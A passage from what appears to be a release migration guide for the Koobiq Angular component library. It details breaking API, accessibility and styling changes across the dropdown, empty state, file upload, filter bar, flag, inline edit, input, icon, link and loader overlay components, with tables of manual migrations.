`aria-expanded` is not a global ARIA attribute. It cannot go on an element whose role computes to `generic` — a bare `<div>` or `<span>`, an `<a>` without `href`. And the trigger goes on whatever element the consumer picks, so the attribute was a routine `aria-allowed-attr` failure.

It is published only where a role can carry it now: a `<button>`, a `<summary>`, an `<a href>`, or a host that declares a `role` of its own. Every trigger the library ships is one of those. A role-less trigger of your own loses the attribute, and so does any selector or test keyed on it.

The host of an item is not always something the browser activates on its own. For a row carrying a secondary action the package documents a `<div>`, and until now that row could not be activated from the keyboard at all. It answers `Enter` and `Space` now: the key is replayed as a click, so a consumer's `(click)` handler and the panel's own close behave exactly as they do for the mouse.

Hosts the browser already activates (`<button>`, `<a href>`) are skipped, and so is `role="menuitem"`, whose click the app switcher replays itself.

| Pattern                                                | Manual migration                                                                                                              |
| ------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------- |
| `activateSafeArea(owner, triangle, panelRect, onExit)` | Pass the pointer origin and a rect getter: `activateSafeArea(owner, { x, y }, () => element.getBoundingClientRect(), onExit)` |
| A subclass overriding `handleActionKeydown`            | Override `handleKeydown` — it owns `Enter`/`Space` and delegates the `Tab` case                                               |
| `.kbq-dropdown-item_with-icon` in a selector           | The class is gone; match the projected icon instead                                                                           |
| `[aria-expanded]` on a role-less trigger               | Give the host a `role`, or drop the selector                                                                                  |
| A click handler on `.kbq-dropdown__panel`              | The panel's own close moved to `.kbq-dropdown__content`                                                                       |

**A panel can no longer outgrow its own pane.** The `--kbq-dropdown-size-container-width-min` token fell back to a static `200px` everywhere the input did not supply it. That included an explicit `panelWidth`: `[panelWidth]="150"` rendered a 200px panel inside a 150px box.

The token collapses to `0px` for an explicit `panelWidth` and for `panelMinWidth: null` now. A panel that was leaning on that floor without asking for it gets narrower; set `panelMinWidth` to keep it.

Changes with no call site to match on:

- Focus returns to the trigger only if it was still inside the overlay when the dropdown closed. Click outside and focus stays on the control you clicked.
- `Home` and `End` move the highlight in a dropdown without a search field, where they used to scroll
  the page.
- Clicking a control inside `kbqDropdownFooter` no longer closes the panel.
- An `Escape` that a pop-up inside the panel already handled, such as the tooltip of a truncated item, closes that pop-up alone; the next `Escape` closes the dropdown.
- Disabled items publish `aria-disabled`.
- A sibling the pointer crosses on the way to a submenu keeps its default background. The rule was already there, but its selector never matched anything.
- `<kbq-dropdown>` keeps the classes it did not transfer to the panel: the `class` input used to clear the host element outright, taking a `[class.x]` binding from another directive with it.
- `KbqDropdownItemActionHost` and `KBQ_DROPDOWN_ITEM_ACTION_HOST` are exported, and the bare `fadeInItems` / `transformDropdown` re-exports are deprecated in favour of `kbqDropdownAnimations`.

**Twenty of the component's twenty-one inputs, outputs and queries are signals now.** The dropdown was the last component in this review still carrying decorator inputs. For these seventeen, a read is a call:

| Class                | Members                                                                                                                               |
| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
| `KbqDropdown`        | `xPosition`, `yPosition`, `overlapTriggerX`, `overlapTriggerY`, `hasBackdrop`, `backdropClass`, `templateRef`, `items`, `lazyContent` |
| `KbqDropdownTrigger` | `offsetX`, `offsetY`, `data`, `openByArrowDown`, `restoreFocus`, `dropdown`                                                           |
| `KbqDropdownItem`    | `disabled`, `icon`                                                                                                                    |

Bindings are untouched. `[xPosition]`, `class`, `[kbqDropdownTriggerFor]` and the rest keep their names; only programmatic access moved.

Seven of them are `model()`s, so a write becomes `.set(…)`: `xPosition`, `yPosition`, both overlap flags, `offsetX`, `openByArrowDown` and `restoreFocus`. They are writable because another component writes them on the instance it was handed — `kbq-split-button` and `kbq-navbar-item` position the panel themselves, and an option's action button turns focus restoration off. A `model()` takes no `transform`, so those seven no longer coerce a string attribute: write `[overlapTriggerX]="true"`, not `overlapTriggerX="true"`.

The rest are read-only, so a write to one is a compile error rather than a silent no-op.

What the schematic reports instead of fixing:

| Pattern                                     | Manual migration                                                                                  |
| ------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| `panel.items.changes` / `.first`            | `items` is a signal of a plain array. Use `toObservable(panel.items)`, or `items()` for the array |
| `panel.items.reset(…)`                      | Call `adoptItems(…)`                                                                              |
| `closed.pipe(…)` / `dropdownClosed.pipe(…)` | Both are `output()`s now. Wrap them: `outputToObservable(panel.closed)`                           |
| `panel.closed.complete()`                   | Gone — Angular tears the subscription down with the panel                                         |
| `panel.classList`                           | `protected` now. It is one `computed`; set `class` on `<kbq-dropdown>` to add your own            |
| A class implementing `KbqDropdownPanel`     | Every member changed shape. `adoptItems` is optional and replaces the `items.reset(…)` on it      |

One member is still read as a property: `KbqDropdownItem.textElement` is a getter typed `ElementRef`, because it implements `KbqTitleTextRef` and five other components implement it the same way.

`KbqOptionActionParent` in `@koobiq/components/core` describes the trigger structurally, so TypeScript never checks it against `KbqDropdownTrigger`. It follows the trigger here: `restoreFocus` is a `WritableSignal<boolean>` and `dropdownClosed` an `OutputRef<void>`. A host that implements that contract by hand has to follow too — the mismatch surfaces at runtime, not at compile time.

`ListKeyManagerOption.disabled` accepts `boolean | Signal<boolean>` now. A custom option that reads `item.disabled` as a plain property breaks on a signal item: a signal is a function, so every item reads as disabled, and both the arrow skip and the typeahead match stop working with no error.

Handled by the `dropdown-signals` schematic; the rows in the first two tables above are manual.

##### Empty state

`errorColor` used to reach the illustration imperatively: `ngAfterContentInit()` read the input once and called `KbqEmptyStateIcon.setErrorColor()`, which assigned `color = 'error'` on the injected `kbq-icon-item`. The tint therefore:

- stayed after `[errorColor]` went back to `false`, leaving a red icon above black text;
- never arrived for a value flipped to `true` after init;
- never reached an icon wrapped by the slot: `inject(KbqIconItem)` only sees an icon on its own host element.

Two of the component's own examples use that wrapped shape. The title and the text colors were always reactive, because they ride on the host classes.

The illustration follows `[errorColor]` on its own now, in both markup shapes and in both directions, so the method has no caller left.

| Member                               | Before                                  | After                        |
| ------------------------------------ | --------------------------------------- | ---------------------------- |
| `KbqEmptyStateIcon.setErrorColor()`  | public, called once at init             | removed                      |
| `KbqEmptyState.ngAfterContentInit()` | public lifecycle hook                   | removed                      |
| `KbqEmptyState.icon`                 | public `@ContentChild`, typed `\| null` | `protected` `contentChild()` |
| `KbqEmptyState.size`                 | `@Input()`, writable                    | `input()`                    |

| Pattern                      | Manual migration                                                                  |
| ---------------------------- | --------------------------------------------------------------------------------- |
| `.setErrorColor()`           | Bind `[errorColor]` on `<kbq-empty-state>` and delete the call                    |
| `.icon` on a `KbqEmptyState` | Protected; it was the backing query for the `kbq-empty-state_has-icon` host class |
| `emptyState.size`            | `emptyState.size()`                                                               |
| `emptyState.size = 'big'`    | Bind `[size]="'big'"` — an `input()` has no setter                                |

**`size` was the last decorator on the component, and the file-upload subclass is why.** `KbqFileUploadEmptyState` extends `KbqEmptyState` and assigned `this.size = 'big'` right after `super()` — an assignment an `input()` cannot take, which is what held the migration back. That subclass redeclares the input with its own default now, `override readonly size = input<KbqDefaultSizes>('big')`, so `<kbq-file-upload-empty-state>` still renders at `big` with no binding and a `[size]` binding still wins. Nothing changes for anyone rendering it; what changes is that reading `size` off a `KbqEmptyState` is a call, and assigning to it is gone.

The report for this one is matched on the receiver rather than the member, because `size` is too common a property name to touch blind — `file.size` and `blob.size` sit in the same files. Only a read like `emptyState.size` is flagged; a read through a variable named something else is not reported, and the schematic's summary says so instead of letting you assume it was covered.

**The four theme tokens were renamed.** `--kbq-empty-state-title` and `--kbq-empty-state-color` read as a size token and a component color, but they are the title color and the _text_ color; the error pair repeated the shape. They are `--kbq-empty-state-title-color`, `--kbq-empty-state-text-color`, `--kbq-empty-state-error-title-color` and `--kbq-empty-state-error-text-color` now. The old names are removed, not deprecated: an override of one is ignored and a `var()` read of one resolves to nothing, in both cases silently. Inside the library the rename touched `multiple-file-upload.component.scss`, which set the title and text colors of the empty state for its default, disabled and error states.

Two fixes with nothing to migrate. `empty-state.scss` loads its own token layer instead of relying on a second `styleUrls` entry, so anything reusing the stylesheet across a package boundary gets the custom properties together with the rules that read them; such a reuse used to take the rules alone, and every `max-width` in it resolved to `none`. The library has exactly one such reuse: `KbqFileUploadEmptyState` lists `../empty-state/empty-state.scss` in its own `styleUrls`. Its caption was inheriting the body color, because the declaration resolved to nothing — so the arriving token layer would have turned it into the secondary foreground. `dropzone.scss` pins `--kbq-empty-state-text-color` to `var(--kbq-foreground-contrast)` instead, and the dropzone renders exactly as before. And the title is written as a real heading everywhere in the library — it carries `subheading` typography at `size="normal"` and `headline` at `size="big"`, so `<h2 kbq-empty-state-title>` is what the component asks for, with the user-agent margin zeroed so nothing moves. An empty state inserted into a page that has already been read still needs `role="status"` — `role="alert"` for the error variant — on the host; the component adds none of its own.

Reported by `empty-state-error-color`.

##### File upload

The review repaired the two contracts the component is judged on: the form contract and the `KbqFileList` primitive.

`writeValue()` assigned through the `file`/`files` setters, and those setters call `cvaOnChange` — the view→model half of the `ControlValueAccessor`. Angular's model→view callback therefore re-entered the view→model pipeline: every `setValue`/`patchValue` marked the control **dirty** and emitted `valueChanges` twice, and because `FormControl.reset()` calls `markAsPristine()` _before_ `setValue()`, a reset uploader came back dirty. The same method emitted the public `(fileChange)`/`(filesChange)` output as well, so a background `patchValue` was indistinguishable from a user picking a file. `writeValue()` writes the list directly now and emits neither.

| Member                              | Before                                      | After                                            |
| ----------------------------------- | ------------------------------------------- | ------------------------------------------------ |
| `writeValue()`                      | wrote through the `file` / `files` setter   | writes the list directly, emits no output        |
| `KbqFileList.remove(item)`          | returned the kept items, removed every copy | returns the removed item, removes the first copy |
| `KbqFileList.removeAt(index)`       | rewrote the list and emitted for any index  | ignores an index outside the list                |
| `hasFocus`                          | public, always `false`                      | removed                                          |
| single uploader's hidden input      | `multiple`                                  | single-selection                                 |
| `[multiple]` on the single uploader | forwarded to that input                     | not an input at all                              |
| `[file]` / `[files]` setter         | wrote the list and notified the form        | writes the list only                             |
| `KbqInputFileMultipleLabel`         | exported interface                          | removed                                          |

| Pattern                             | Manual migration                                                               |
| ----------------------------------- | ------------------------------------------------------------------------------ |
| `.remove(item)`                     | The return value is the removed item now; use `removeAt(index)` for a position |
| `.hasFocus`                         | Track focus with `cdkMonitorSubtreeFocus` or a `(focusin)`/`(focusout)` pair   |
| `(fileChange)` / `(filesChange)`    | Subscribe to the control if the handler was meant to see programmatic writes   |
| `KbqInputFileMultipleLabel`         | Use `KbqMultipleFileUploadLocaleConfiguration` from `@koobiq/components/core`  |
| `[file]` / `[files]` beside a form  | Drop the binding — the form owns the value; without a form nothing changes     |
| `<kbq-single-file-upload multiple>` | Drop the attribute, or switch to `<kbq-multiple-file-upload>`                  |

**A `[file]` binding is no longer an edit.** The setter was the other half of the same defect: it wrote the list _and_ called `cvaOnChange`, so a template binding reached the view→model pipeline exactly as `writeValue()` did. Writing `file` or `files` now fills the list and stops there, which makes the setter symmetric with `writeValue()` — both are model→view — and leaves `cvaOnChange` with `(fileChange)`/`(filesChange)` on the paths a user drives. Without a form nothing changes: `cvaOnChange` is a no-op until `registerOnChange` runs, and `[(file)]`/`[(files)]` still report what the user does. It matters only when the same component also carries `formControl`, `formControlName` or `ngModel` — two sources of truth for one value, where the form is the one that should win.

**An empty drop no longer destroys the list.** An empty directory unwraps to zero files, so the drop handler can be handed an empty array. The multiple uploader passed it straight through to the merge, and under `addStrategy="replace"` that meant `replace([])` — every file the user had already attached, gone, with `(filesChange)` reporting the empty list and the control left dirty. A selection that hands over nothing is now no selection at all: the list is untouched and no value is emitted, though the drop still counts as an interaction and marks the control touched. `removeAt()` carried the same defect one call down: an index past either end left `splice` with nothing to do, but the list was rewritten with a fresh array anyway — waking every `list()` consumer for a no-op — and `itemRemoved` fired carrying `undefined` in a tuple typed `[T, number]`.

The control is marked touched when focus leaves the uploader, so the default `ErrorStateMatcher` shows a `required` error to a user who tabbed through without attaching anything — previously that error stayed invisible until the form was submitted. Removing a file from the middle of the list moves focus to the control that took its place instead of dropping it on `<body>`, projected `kbq-hint` messages are linked to the file input through `aria-describedby`, the input carries `aria-invalid` while the control is in an error state, and additions and removals are announced in a live region the component owns.

Three changes worth knowing about with nothing to rewrite. The single uploader renders a single-selection file input, so the system dialog no longer offers a multi-selection whose extra files the component silently threw away; what a drop hands over past the first file is reported through the new `(rejected)` output, as are the duplicates the multiple uploader skips under the default `concat` strategy. `accept` is documented as what it is — the native attribute, which only filters the system dialog, never a dropped file — and rejection still needs a validator, with `FileValidators.isCorrectExtension` taking the same array. And 22 `--kbq-file-upload-*` custom properties that no rule read were removed, including both `*-states-focused-focus-outline-color` tokens; setting one never had an effect.

The locale gains a `fileUpload.a11y` section holding the live-region announcements, so a hand-written `KbqLocaleData` registered through `KBQ_LOCALE_DATA` has to add `fileAdded`, `fileRemoved` and `filesNotAdded`.

Reported by `file-upload-cva-and-primitives`.

##### Filter bar

The popover that saves and renames a filter was reworked, and so were the strings around it.

**`filters.saveChanges` and `filters.saveAsNew` were split.** Each did two jobs: the label of a dropdown item and the header of the popover that item opens. The header now captions the unlabelled name field, which reads wrong on a dropdown item, so each key became two:

| Removed key   | Popover header      | Dropdown item       |
| ------------- | ------------------- | ------------------- |
| `saveChanges` | `saveChangesHeader` | `saveChangesButton` |
| `saveAsNew`   | `saveAsNewHeader`   | `saveAsNewButton`   |

`KbqFilterSavePopover.popoverHeader` returns `saveAsNewHeader` when saving a new filter and `saveChangesHeader` when renaming one, and the name field takes its accessible name from it.

**`filters.name` and `filters.error` were removed.** The popover no longer renders a caption above the name field — its header carries it — nor a message under the field when the name is taken: the alert above the field (`errorHint`) reports that alone, and the field is still marked invalid.

**Renaming a filter no longer saves it.** A `KbqSaveFilterStatuses.NewName` save used to stamp `saved: true` / `changed: false` onto the payload, so renaming a filter with unsaved pipe edits declared them saved. The payload now keeps the filter's own flags and still carries the pipes shown in the bar, so persist the name only.

The default wording changed too. In `en-US`: "Save as new" for the tooltip of the save button and for both "save as new" items, "Save" for the "save changes" item, "Rename" for the rename item, "New filter" and "New name" for the headers, and "A filter with this name already exists" for the alert of a failed save. That alert now defaults to the duplicate-name text, so pass your own `text` to `filterSavedUnsuccessfully()` for any other failure. Override the strings through `kbqFilterBarLocaleConfigurationProvider` if they do not fit.

| Pattern                                                 | Manual migration                                                                                    |
| ------------------------------------------------------- | --------------------------------------------------------------------------------------------------- |
| A read of `filters.saveChanges` / `filters.saveAsNew`   | Read `…Header` for the popover header or `…Button` for the dropdown item                            |
| A `saveChanges` / `saveAsNew` key in a partial override | Replace it with `…Header` and/or `…Button` — the literal has too few keys for the schematic to know |
| A read of `filters.name`                                | Drop it, or bind your own string if the field still needs a visible caption                         |
| A read of `filters.error`                               | Drop it — the alert above the field reports a taken name                                            |
| An `error` key in a partial override                    | Delete it — the literal has too few keys for the schematic to know                                  |
| A handler of `KbqSaveFilterStatuses.NewName`            | Persist the name only — writing the whole payload back saves the pending pipe edits                 |

Handled by `filter-bar-rename-action`: the `name` and `error` keys are removed and `saveChanges` / `saveAsNew` are split in `filters` locale literals, the rest is reported.

##### Flag

`[innerHTML]` on `<kbq-flag>` is no longer a supported way to pass a flag. The component renders `<ng-content />`, so the host element is where projected nodes land, and an `innerHTML` write from the parent targets that same element. The two only coexisted because the component's own view contributed no DOM; the review gave the string form a slot of its own, so `<kbq-flag [innerHTML]="flag" />` becomes `<kbq-flag [svg]="flag" />`.

The value itself does not change: Angular's sanitizer still strips an `<svg>` that has not been bypassed, so a flag arriving from a package as a string still goes through `DomSanitizer.bypassSecurityTrustHtml` — and only ever for markup known at build time. An `[innerHTML]` binding on a wrapper element projected _into_ a flag is untouched; it never competed with the host.

Three changes with nothing to migrate:

**A flag with no `label` is hidden from screen readers.** The unlabelled, non-decorative flag reached the accessibility tree as a nameless graphic — the one case the component guide already declared not allowed. That state is fail-safe now, but the default also hides a name that came from the flag image itself (an `alt` attribute, an SVG `<title>`), so repeat it in `label` when the flag carries meaning.

**An inline `<svg>` is cropped instead of letterboxed.** `object-fit: cover` is inert on an inline `<svg>`, which is not a replaced element, so a source whose ratio differed from the shape rendered inside transparent bands — most visibly in `square` and `circle`. The same flag passed as an `<img>` always cropped, and the two render identically now.

**The flag tokens are declared at zero specificity, and `--kbq-flag-empty-background` is an opaque neutral instead of the translucent `disabled` state.** An override that used to lose to `.kbq-flag` on source order now wins, so a redundant `!important` can go. The `empty` placeholder no longer takes on the hue of the surface behind it. One flag's proportions no longer need a class at all: the new `aspectRatio` input takes a CSS `aspect-ratio` value directly, and the variable stays the way to set one ratio for a whole group.

Handled by `flag-inner-html`: the binding is rewritten for you, the rest is reported.

##### Inline edit

The edit overlay rendered two `<div class="cdk-visually-hidden" aria-hidden="true" tabindex="0">` sentinels around its panel to notice a `Tab` out of the editor. That is precisely what axe-core's `aria-hidden-focus` rule forbids, and because the panel disables its own focus trap a keyboard user really did land on them: two live tab stops that announce nothing. The sentinels are gone, the boundary is resolved against the panel's own first and last tabbable control, and `KbqFocusRegionItem` — the directive that marked them — is removed with them.

The widget semantics moved at the same time. The host carried a `tabindex` and not one ARIA attribute, so a `<kbq-inline-edit>` was an unknown element that happened to be focusable. `role="button"`, `aria-expanded`, `aria-disabled` and the accessible name live on `.kbq-inline-edit__view-content` now, and on `.kbq-inline-edit__focus-anchor` while the view content is interactive — putting them on the host would have nested the `kbqInlineEditMenu` button inside a widget role. The focus ring still lands on the host, through `cdk-keyboard-focused`.

| Pattern                                           | Manual migration                                                           |
| ------------------------------------------------- | -------------------------------------------------------------------------- |
| `kbqFocusRegionItem` / `KbqFocusRegionItem`       | Drop it — the Tab boundary is detected on the panel                        |
| `modeAsReadonly()`                                | `mode()` — rewritten for you                                               |
| `edit.modeChange.subscribe(...)`                  | `toObservable(edit.mode)` — the output belongs to the model now            |
| `[setValueHandler]` handler                       | Widen the parameter to `unknown` and narrow inside                         |
| A complete `KbqA11yLocaleConfiguration`           | Add the new required `edit` key, or switch to a partial override provider  |
| `.kbq-inline-edit[tabindex]` / `:focus` selectors | Target `.kbq-inline-edit__view-content` / `.kbq-inline-edit__focus-anchor` |

**Tab works in a select-style editor.** The editor opens the select's dropdown itself, and that dropdown lives in an overlay of its own — so a `Tab` was pressed outside the editor's panel, where its handler could not see it, and the select cancelled the key and closed, leaving the field open with focus on `<body>`. The key is caught on the document now for as long as the panel is attached, and the field saves and hands over to the next field like any other. A `Tab` the select uses to walk its own footer is untouched.

**The mode is one member now.** It used to be three: a `protected signal()`, a public `modeAsReadonly` `computed()` that existed only to expose it for reading, and a `modeChange` output fed by a hand-written `toObservable(...).pipe(skip(1))` subscription. All three are a single `model()`. It generates an output of the same name carrying the same value, so `(modeChange)` bindings are untouched — but it emits synchronously on the write rather than one microtask later, and it is no longer a member of the class, so a programmatic subscription goes through `toObservable(inlineEdit.mode)`. In exchange the mode is writable: `[(mode)]` opens and closes the editor from the host, which nothing but `toggleMode()` could do before.

**Saving means what it says now.** `commit()` promised "the same validation as a normal save" and gated on `KbqFormField.invalid`, which is the cached `ErrorStateMatcher` verdict — `touched || submitted` — so a pristine invalid control reported itself valid and the value was written through. That is exactly the documented "select that commits from `(selectionChange)`" pattern. `save()` marks the projected controls touched itself and gates on the control's validity instead. The other half of that move: every keystroke in edit mode used to mark every control touched, flipping a `required` field into its error look while the user was still typing the value that would make it valid — a workaround directive that reset `touched` on the first input can be deleted.

Three smaller changes reach a consumer. `saved` and `canceled` are public, so a `viewChild(KbqInlineEdit)` can subscribe to them. `--kbq-inline-edit-panel-shadow` is read by the panel, which used to declare the token and then hardcode the value it stood for, so setting it finally changes the shadow. And the private `.kbq-mask`, `.kbq-mask__fade` and `.kbq-mask__container` classes were renamed to their `.kbq-inline-edit__menu-mask*` equivalents, giving back a namespace that looked library-wide.

The date and time pickers follow the same rules: `cancel()` and `rollback()` restore a picker bound with `[value]` or with a form control, and a picker whose form control rejects its value blocks the save like any other control.

Handled by `inline-edit-a11y-and-types`: the `modeAsReadonly` reads are rewritten, the rest is reported.

##### Input

The headline is a platform mutation that never belonged to the component. `KbqNumberInput`'s constructor called `Object.defineProperty(Object.getPrototypeOf(this.nativeElement), 'valueAsNumber', …)` — that is `HTMLInputElement.prototype`, not the element — so constructing a single koobiq number input replaced `valueAsNumber` for **every `<input>` in the application**, third-party widgets and native `type="date"`/`type="number"` fields included, permanently and with no teardown. The replacement treated `,` as a decimal point and returned `null` where the DOM specification requires `NaN`. The patch is gone; a locale-aware numeric read is a member of the directive now: `numberInput.valueAsNumber`.

`KbqNumberInput` also declared `implements KbqFormFieldControl<any>` and populated none of it. The private `control` field behind `ngControl` had no writer anywhere in the file, so `ngControl` was permanently `undefined`, and `id`, `placeholder`, `empty`, `required` and `errorState` existed only to satisfy the interface. Nothing broke at runtime, because the `KbqFormFieldControl` provider lives on the sibling `KbqInput` that matches the same host — but the members were public, so a consumer reading `numberInputRef.errorState` got `undefined` with no type error. The interface and the six members are removed.

**The numeric inputs are signals now.** `min`, `max`, `step` and `bigStep` were `@Input()` accessor pairs, each coercing into a private backing field; all four are `input()` signals, so a programmatic read is a call. The value is unchanged, which is what makes the rewrite mechanical. They are read-only, though: an `input()` has no `.set()`, so a value that moves at runtime has to be bound rather than assigned — that is the cost of the change, and the one case the schematic reports instead of fixing.

`bigStep` had a second spelling, the legacy `big-step` attribute, read once at construction through a `HostAttributeToken` and therefore deaf to every later change. Rather than make both spellings reactive and maintain the same input twice, the kebab-case one is dropped: `bigStep` is the only name, and it is a signal input like `step`, `min` and `max`. The schematic renames the attribute.

`valueChange` and `disabledChange` were `EventEmitter`s with no `@Output()` decorator — an event surface by convention only. They are plain RxJS `Subject`s. Subscribing is identical; a call to `.emit()` becomes `.next()`.

**A password field's generated id changed.** `KbqInputPassword` drew from the same `kbq-input-` counter as `KbqInput`, so any page holding both controls emitted two elements with the same id, and the form field's `<label for>` resolved to whichever of them came first — clicking the label focused the wrong control. It mints its ids in a `kbq-input-password-` namespace now, so what used to render `id="kbq-input-7"` renders `id="kbq-input-password-7"`. That breaks anything keyed on the generated value: a CSS selector, a test locator, a hand-written `aria-labelledby`. The schematic reports those; the durable fix is to stop depending on a generated id rather than to renumber it.

| Pattern                                                          | Manual migration                                                      |
| ---------------------------------------------------------------- | --------------------------------------------------------------------- |
| `numberInput.min` / `.max` / `.step` / `.bigStep`                | `numberInput.min()` — auto-fixed by the schematic                     |
| `numberInput.min = 0`                                            | Bind `[min]="0"` — an `input()` has no `.set()`                       |
| `numberInput.valueChange.emit(v)`                                | `numberInput.valueChange.next(v)`                                     |
| `numberInput.ngControl` / `.errorState` / `.empty` / `.required` | Read them off the sibling `KbqInput`, or off the `<kbq-form-field>`   |
| `inputElement.valueAsNumber`                                     | `numberInput.valueAsNumber`, or read the bound form control           |
| `import { MinValidator, MaxValidator }`                          | `KbqMinValidator`, `KbqMaxValidator` — rewritten by the schematic     |
| `import { MIN_VALIDATOR, MAX_VALIDATOR }`                        | `KBQ_MIN_VALIDATOR`, `KBQ_MAX_VALIDATOR` — rewritten by the schematic |
| `<input kbqNumberInput type="number">`                           | Drop the attribute — the directive resets it to `text` and warns      |
| `#kbq-input-7` on a password field                               | Stop keying on a generated id — the namespace changed                 |

Template bindings are otherwise untouched: `[min]="lower"` and `min="3"` keep working.

The unprefixed `MinValidator` / `MaxValidator` are the exact names `@angular/forms` exports, so importing both in one file shadowed the framework's. They are removed rather than deprecated, and the schematic rewrites them — scoped to the names a file imports from `@koobiq/components/input`, so a file importing the framework's own is left alone. `type="number"` had a functional symptom: a native number field runs the value sanitization algorithm on assignment and rejects everything the directive renders once a group separator or a comma fraction separator is in it, so every fractional value — and every value ≥ 1000 while `withThousandSeparator` is on — silently disappeared from the field while the model still held it.

Fixes with nothing to migrate:

- The numeric inputs coerce their value, so a static `min="3"` holds the number `3` instead of the string `"3"`. The `ngAcceptInputType_*` declarations that used to carry that are gone: a signal input types what it accepts through its transform's parameter.
- The validators no longer `parseInt` their bound value, so `[min]="0.5"` validates against `0.5` rather than `0`, and a bound `[min]="0"` reaches the DOM instead of being dropped by a falsy check.
- Stepping runs in integer space against a decimal scale, so one arrow press on `1.005` with `step="0.001"` renders `1,006` rather than `1,0059999999999998`.
- `startFormattingFrom` is read from the input as well as from the locale, instead of being declared and ignored.
- `KbqNumberInput` carries spinbutton semantics: `role`, `aria-valuenow`, `aria-valuetext`, `aria-valuemin`, `aria-valuemax`, `inputmode`.

Migrated by `input-number-surface`, which rewrites the signal reads and reports the rest. The rewrite is scoped to a receiver the file annotates as `KbqNumberInput` and to a `#ref="kbqNumberInput"` template reference — `min`, `max` and `step` are too common to match on the member name alone, so a receiver whose type is only inferred, an index read and a destructuring are all left for you.

`KbqNumberInput.value` and `disabled` are read-only getters rather than `model()`s, because a new value does more than get stored: whether it comes from the `[value]` or `[disabled]` binding or from the form control, the directive reformats the field and emits `valueChange`, and for `disabled` emits `disabledChange` and, when disabling, blurs the element.

##### Icon

Icons were in the accessibility tree and icon buttons were not buttons. `<i kbq-icon>` renders `aria-hidden="true"` now — an icon carries no text, and nearly everywhere the library and its consumers use one it repeats a label that is already in the button, the link or the row beside it. An icon that is the only carrier of its meaning has to say so:

```html
<i kbq-icon="kbq-triangle-exclamation_16" role="img" aria-hidden="false" aria-label="Error"></i>
```

`kbq-icon-button` is not hidden by default, and on a host that is not a native `<button>` — which is 129 of the 180 call sites in this repository alone — it supplies the semantics the element does not have: `role="button"` and `aria-disabled`. It does not activate itself from Enter or Space: bind `(keydown.enter)` and `(keydown.space)` next to `(click)`, calling `preventDefault()` on Space so the page does not scroll, or put the icon button on a `<button>`. It also warns in dev mode when it has neither `aria-label` nor `aria-labelledby`, because a glyph gives it no accessible name at all.

**A `contentChild(KbqIcon)` still resolves only a bare icon.** Host metadata is inherited through `ɵɵInheritDefinitionFeature` and DI tokens are not, so such a query walks past an icon button and an icon item even though both carry the `.kbq-icon` class. Registering the subclasses under the token was tried and reverted: an icon button is an interactive control, and every query of this kind is looking for a decorative icon to position or tint. Answering one with a button made `KbqAlert` lay out an empty icon box for a dismissible alert with no status icon, and re-tint its close button to the alert color; answering one with an icon item collapsed the pair `KbqAlert` compares to report two projected status icons. A host that wants both asks for both, the way `KbqAlert` does.

| Pattern                                                   | Manual migration                                                                      |
| --------------------------------------------------------- | ------------------------------------------------------------------------------------- |
| `small` on a `[kbq-icon]` or a `[kbq-icon-item]`          | Drop it — nothing ever read it; on an icon button `v21-upgrade` rewrites it to `size` |
| `(click)` and no `(keydown…)` on a non-button icon button | Bind `(keydown.enter)` and `(keydown.space)`, or use a `<button>`                     |
| `[tabindex]` on an icon button                            | `number \| null` instead of `any`; a numeric string is still transformed              |
| `.name` on a `KbqIcon` subclass                           | Override the protected `appliesMaxHeight` instead                                     |

Three fixes with nothing to migrate. The SVG resolution stream no longer terminates on the first name that does not resolve — which the documented font-icon default guarantees on the very first frame — so a stale `<svg>` is removed on the fallback path, the inline `max-height` is cleared as well as set, and an element whose `[kbq-icon]` changes renders the icon it was asked for at the size it was asked for. `autoColor` takes effect when it is turned on after init and lets go of the error color when it is turned off. And the `--kbq-icon-*-color` tokens are no longer declared on `.kbq-icon`: they are consumed with their design token as the `var()` fallback, so a container can finally re-theme the icons inside it — reading one back with `getComputedStyle` returns an empty string now.

Reported by `icon-semantics-and-api`.

##### Link

This part describes the directive, which moved to `@koobiq/components/link/deprecated`; the component that replaces it is described above, in "Link component instead of the directive".

The three inputs the automated signal migration skipped were all accessors, and each did something beyond storing a value: `disabled` wrote a separate signal, `tabIndex` folded in the disabled state, and `print` was a setter with no getter that also computed the printed URL.

`disabledSignal` stays a public `WritableSignal<boolean>` — `kbqTooltip` accepts a link through `forDisabledComponent` and reads it. It is a `linkedSignal` over the `disabled` input now, so binding still drives it and a direct write still wins.

| Pattern                         | Manual migration                                                                   |
| ------------------------------- | ---------------------------------------------------------------------------------- |
| `.disabled`                     | Read as `disabled()` — rewritten for you                                           |
| `.tabIndex`                     | `tabIndex()`, and expect what was bound — not `-1` for a disabled link             |
| `.print = …`                    | Bind `[print]`; it was a setter with no getter, so there is no read to fix         |
| `.icons` / `.icon` / `.hasIcon` | Now `protected`/`private`; the icon spacing classes are the contract               |
| `.printMode` / `.printUrl`      | Now `protected`; the `kbq-link_print` class and `print` attribute are the contract |
| `.ngAfterContentInit`           | Not implemented any more; the icon classes follow the content query on their own   |

The host attribute still goes to `-1` while the link is disabled, so nothing about focus behavior changed — only a programmatic read of `tabIndex` sees the difference.

**`[print]="undefined"` no longer marks the link as printable.** The old setter tested `value !== null`, so an explicit `undefined` passed it: the link got `kbq-link_print` and printed its `href`. The input tests `!= null`, which covers both. An unbound link behaves exactly as before — no class, and the href still lands in the `print` attribute. `print` accepts `string | null` instead of `any`.

**A disabled link carries `aria-disabled` instead of `disabled`.** `disabled` is not a valid attribute on an `<a>` or a `<span>`, and a screen reader still reached the link through its links list and announced it as actionable. The `kbq-disabled` class and `tabindex="-1"` are unchanged; if you styled or queried `a[kbq-link][disabled]`, match `.kbq-disabled` or `[aria-disabled]` instead.

**The `kbq-link_print` rule reaches the anchor now.** The `@media print` block resolved to a descendant selector, so the printed URL never rendered for anyone. Printing a page with `[print]` bound now appends the URL after the link text, as documented.

Handled by `link-signals`: the `disabled` reads are rewritten, the rest is reported.

##### Loader overlay

`text` and `caption` were the two inputs the automated signal migration skipped — it saw them read inside `@if` blocks and would not risk the narrowing. They are `input()` now, and honest about being optional: both were declared `string` over a field with no initializer, so an overlay that bound neither reported `undefined` from a non-nullable type.

| Pattern                                                                                         | Manual migration                                                              |
| ----------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------- |
| `.text` / `.caption`                                                                            | Read as `text()` / `caption()` — rewritten for you                            |
| `.text = …`                                                                                     | Bind `[text]` in the template — the input is read-only                        |
